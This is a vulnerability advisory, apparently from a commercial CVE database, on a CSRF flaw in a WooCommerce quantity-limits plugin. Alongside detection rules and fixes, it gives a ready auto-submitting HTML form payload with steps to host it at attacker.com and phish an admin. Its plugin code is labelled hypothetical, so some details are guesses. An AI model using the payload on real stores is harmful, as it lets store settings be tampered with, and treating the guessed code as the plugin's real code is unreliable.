CVE-2025-49510
Executive Summary
CVE-2025-49510 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WPFactory Min Max Step Quantity Limits Manager for WooCommerce plugin (slug: product-quantity-for-woocommerce). This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying quantity limit settings, without the victim’s consent. The flaw exists in all versions up to and including 5.1.0. No official patch has been released as of the time of analysis.
As this is a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem. The attack vector relies on social engineering to trick a logged-in admin into clicking a malicious link or visiting a crafted page. The CVSS score of 4.3 (Medium) reflects the low complexity and network-based attack vector, but the requirement for user interaction reduces the severity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is part of the WordPress plugin supply chain. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin from any source are at risk. No package manager (NPM, PyPI, Go, Ruby) is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network – The attack can be launched remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – The attacker does not need prior authentication.
- User Interaction (UI): Required – The victim must click a link or visit a page.
- Scope (S): Unchanged – The vulnerable component remains the same.
- Confidentiality (C): None – No data exposure.
- Integrity (I): Low – Attacker can modify plugin settings (e.g., quantity limits).
- Availability (A): None – No denial of service.
Threat Level: Medium. While the impact is limited to integrity, the attack can be used to disrupt WooCommerce store operations (e.g., setting minimum quantities to unrealistic values).
Deep Dive & Mechanics
The vulnerability resides in the Min Max Step Quantity Limits Manager for WooCommerce plugin. The plugin does not implement CSRF tokens or nonces on its administrative actions (e.g., saving quantity limit rules). This allows an attacker to craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to the WordPress admin area.
Attack Flow:
- Attacker identifies a target WooCommerce site running the vulnerable plugin.
- Attacker crafts a CSRF payload (e.g., a hidden form or image tag) that targets the plugin’s settings endpoint.
- Attacker lures an authenticated admin to visit the malicious page (via phishing, forum posts, etc.).
- The victim’s browser automatically sends the forged request with the admin’s session cookies.
- The plugin processes the request, modifying quantity limits (e.g., setting minimum quantity to 1000 for all products).
Root Cause: Missing CSRF nonce validation in the plugin’s admin-facing AJAX or form handlers.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable code pattern to a secure implementation.
Vulnerable Code (hypothetical example from plugin):
// In admin/settings.php
if ( isset( $_POST['save_limits'] ) ) {
update_option( 'wc_min_max_limits', $_POST['limits'] );
// No nonce check!
}
Patched Code (recommended fix):
// In admin/settings.php
if ( isset( $_POST['save_limits'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'save_limits_action' ) ) {
update_option( 'wc_min_max_limits', $_POST['limits'] );
} else {
wp_die( 'CSRF validation failed.' );
}
The patched version adds wp_verify_nonce() to ensure the request originated from the legitimate admin interface.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Target WordPress site with the vulnerable plugin installed and an admin logged in.
- Ability to host a malicious HTML page or inject code into a trusted site (e.g., via XSS).
Exploit Payload (HTML):
<html>
<body>
<form action="https://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="save_limits" />
<input type="hidden" name="limits[min_quantity]" value="1000" />
<input type="hidden" name="limits[max_quantity]" value="1" />
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>
Steps:
- Host the above HTML on a server (e.g.,
attacker.com/exploit.html). - Send a phishing email to the admin with a link to the page.
- Once the admin clicks, the form auto-submits, changing the quantity limits.
Blue Team (Defender)
Detection:
- Monitor for unexpected changes to WooCommerce quantity limit settings.
- Review server logs for POST requests to
/wp-admin/admin-post.phpwithaction=save_limitsfrom unusual referrers.
Prevention:
- Implement a Web Application Firewall (WAF) rule to block requests to admin endpoints without a valid nonce.
- Educate administrators about phishing attacks.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/wp-admin/admin-post.phpwithaction=save_limitsand no_wpnonceparameter. - Referrer headers from external domains (e.g.,
attacker.com).
- POST requests to
- Host:
- Modified
wp_optionstable entries forwc_min_max_limits. - Unexpected changes in WooCommerce product quantity settings.
- Modified
- Logs:
- Repeated 200 responses to
/wp-admin/admin-post.phpfrom a single IP with no prior login.
- Repeated 200 responses to
Detection Engineering
YARA Rule
rule CVE_2025_49510_CSRF {
meta:
description = "Detects CSRF exploitation attempts against WPFactory Min Max Step Quantity Limits Manager"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-49510"
strings:
$action = "save_limits" nocase
$admin_post = "admin-post.php" nocase
$no_nonce = "limits[" nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-49510 CSRF Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to admin-post.php with action save_limits without nonce
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: 'admin-post.php'
cs-uri-query|contains: 'action=save_limits'
filter:
cs-uri-query|contains: '_wpnonce'
condition: selection and not filter
falsepositives:
- Legitimate admin actions (if nonce is present)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-49510 CSRF Attempt"; flow:to_server; content:"POST"; http_method; content:"admin-post.php"; http_uri; content:"action=save_limits"; http_uri; pcre:"/^(?!.*_wpnonce).*$/Ui"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a WAF rule to block POST requests to
/wp-admin/admin-post.phpthat lack a_wpnonceparameter. - Educate administrators to avoid clicking suspicious links while logged into WordPress.
Long-term Fix:
- The vendor must add CSRF nonce validation to all admin-facing actions. Example fix:
if ( isset( $_POST['save_limits'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'save_limits_action' ) ) { // Process request }
Workaround:
- Use a security plugin (e.g., Wordfence) that adds CSRF protection to all admin actions.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.